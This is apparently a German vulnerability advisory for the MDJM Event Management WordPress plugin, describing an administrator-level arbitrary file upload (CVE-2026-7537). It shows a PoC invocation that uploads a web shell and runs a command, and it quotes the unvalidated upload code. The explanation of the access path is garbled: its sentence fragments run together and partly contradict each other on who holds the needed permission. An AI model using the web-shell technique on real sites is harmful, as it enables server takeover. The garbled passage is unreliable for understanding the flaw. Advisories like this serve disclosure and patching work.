
MDJM Event Management <= 1.7.8.3 - Authentifiziert (Administrator+) Beliebiger Datei-Upload über den Parameter 'mdjm_email_upload_file'
Das WordPress-Plugin MDJM Event Management (Version 1.7.8.3 und früher) enthält eine Schwachstelle für willkürlichen Datei-Upload, die es authentifizierten Administratoren ermöglicht, bösartige PHP-Dateien auf den Server hochzuladen, was möglicherweise zur Ausführung von Remote-Code führt.
Ein POC CVE-2026-7537.py wird bereitgestellt, um zu demonstrieren, wie ein authentifizierter Angreifer shell.php hochlädt und Remote-Code ausführt:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Die Schwachstelle existiert in der Funktion mdjm_send_comm_email() in der Kommunikationsfunktion. Der Upload-Funktion fehlt eine ordnungsgemäße Dateivalidierung bei der Verarbeitung von Dateianhängen für E-Mail-Kommunikation. Dies ermöglicht es authentifizierten Benutzern mit der Fähigkeit mdjm_comms_send (standardmäßig Administratoren und MDJM-Administratoren), beliebige Dateien hochzuladen, einschließlich PHP-Dateien, die auf dem Server ausgeführt werden können.
Quelle: Benutzereingabe von $_FILES['mdjm_email_upload_file']
Senke: move_uploaded_file($tmp_path, $file_path) bei comms-functions.php#L248
Die Schwachstelle tritt auf, weil:
send_comms über comms-functions.php#L24 zugänglich.mdjm_comms_send wird Benutzern mit der Berechtigung manage_mdjm über class-mdjm-permissions.php#L626 gewährt.mdjm_comms_send – nur Administratoren haben es.mdjm_process_actions() unter admin-actions.php#L26 verarbeitet.mdjm_send_comm_email() aus, die unter comms-functions.php#L300 registriert ist.Datei: includes/admin/communications/comms-functions.php#L241-L251
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}
$_FILES['mdjm_email_upload_file'] werden ohne Validierung direkt unter comms-functions.php#L241-L251 verarbeitet.move_uploaded_file() ohne Sicherheitsprüfungen im WordPress-Uploads-Verzeichnis (/wp-content/uploads/YYYY/MM/) gespeichert.